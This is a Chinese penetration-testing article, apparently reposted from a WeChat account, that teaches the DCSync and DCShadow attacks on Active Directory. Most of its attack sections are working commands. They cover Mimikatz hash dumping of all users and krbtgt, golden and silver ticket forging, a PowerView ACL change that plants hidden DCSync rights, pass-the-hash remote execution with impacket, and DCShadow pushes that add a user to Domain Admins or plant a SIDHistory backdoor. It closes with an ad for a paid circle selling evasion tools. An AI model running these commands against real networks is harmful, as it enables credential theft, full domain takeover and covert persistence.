DCSync&DCshadow原理与应用
2023-3-4 22:34:47 Author: 渗透安全团队(查看原文) 阅读量:31 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

    原理

在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。

    前置

获得以下任意权限

  • Administrators组内的用户

  • Domain Admins组内的用户

  • Enterprise Admins组内的用户

  • 域控制器的计算机帐户

即:默认情况下域管理员组具有该权限

或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

    利用

简单利用

#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv

进阶利用

生成黄金票据

导出krbtgt账户hash

lsadump::dcsync /domain:redteam.local /user:krbtgt

之后在win2008机器注入黄金票据

kerberos::golden /user:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ptt

成功与域控建立连接

域内权限维持

如前文所述,我们如果让普通域用户获得了访问控制条目即可拥有DCSync权限,那么就相当于让普通域用户有了隐藏的域管权限
这里我们使用powerview来实现,给普通域用户DB添加

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity DB -Rights DCSync -Verbose

之后用DB用户测试

成功使用DCSync dumphash
之后输入

Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity whoami -Rights DCSync -Verbose

即可删除权限

查找具有 DCSync权限的用户

我们可以使用ADFind

AdFind.exe -s subtree -b "DC=redteam,DC=local" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

之后我们删除再次重新寻找,发现DB账户的权限成功删除

    使用MachineAccount实现DCSync

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令

计算机帐户的密码存储在注册表中的位置为:

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC  # 该注册表键路径只能在 SYSTEM 权限下访问

利用

因为白银票据注入是需要MachineAccount账户的hash的,所以下一步我们使用白银票据测试
先测试下删除DCSync权限的情况

嗯,没有权限
之后我们注入白银票据(这里的服务可以注入ldap服务,注入机器hash为DC)

kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:LDAP /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:krbtgt /ptt

成功利用白银票据dumphash
同时黄金票据也测试成功

扩展

更多的我们可以impacket包的secretsdump来远程利用

1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied

也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (winserver2016已经不能用机器账户进行认证登陆)

python smbexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1[email protected].168.1.1 whoami /privpython wmiexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1[email protected].168.1.1 whoami /priv也可以用powershell脚本https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

    DCshadow

原理

Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。

    步骤

1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。

从原理中我们可以认识到两点:
1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等
2、除了dc之间的连接通信,默认情况下不会记录事件日志

    前置

域控新创一个测试域普通用户lh

起一个system的进程

!+
!processtoken
token::whoami

新起一个域管cmd窗口

    攻击

system执行,更改描述符

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:description    /value:"test successfully"

之后域管执行push

lsadump::dcshadow /push

推送刷新成功,在域控查看发现打成功了

添加域管

查看本地域管

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:primarygroupid /value:512

发送我们的payload并且推送

再次查看域管

前后对比

添加sid history后门

查看当前域管的sid

lsadump::dcshadow /object:CN=DB,CN=Users,DC=redteam,DC=local /attribute:sidhistory /value:S-1-5-21-3458133008-801623762-2841880732-500

发送我们的payload

之后重启用户

连接域控成功

    参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
https://www.anquanke.com/post/id/146551


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247499405&idx=7&sn=1571d73a47e106d2cfa4f85d221e91af&chksm=c1760322f6018a3476de16cbce53a9ad0d8d2dd616cbe667c019e914c6a6581ac258e1f32f3f#rd
如有侵权请联系:admin#unsafe.sh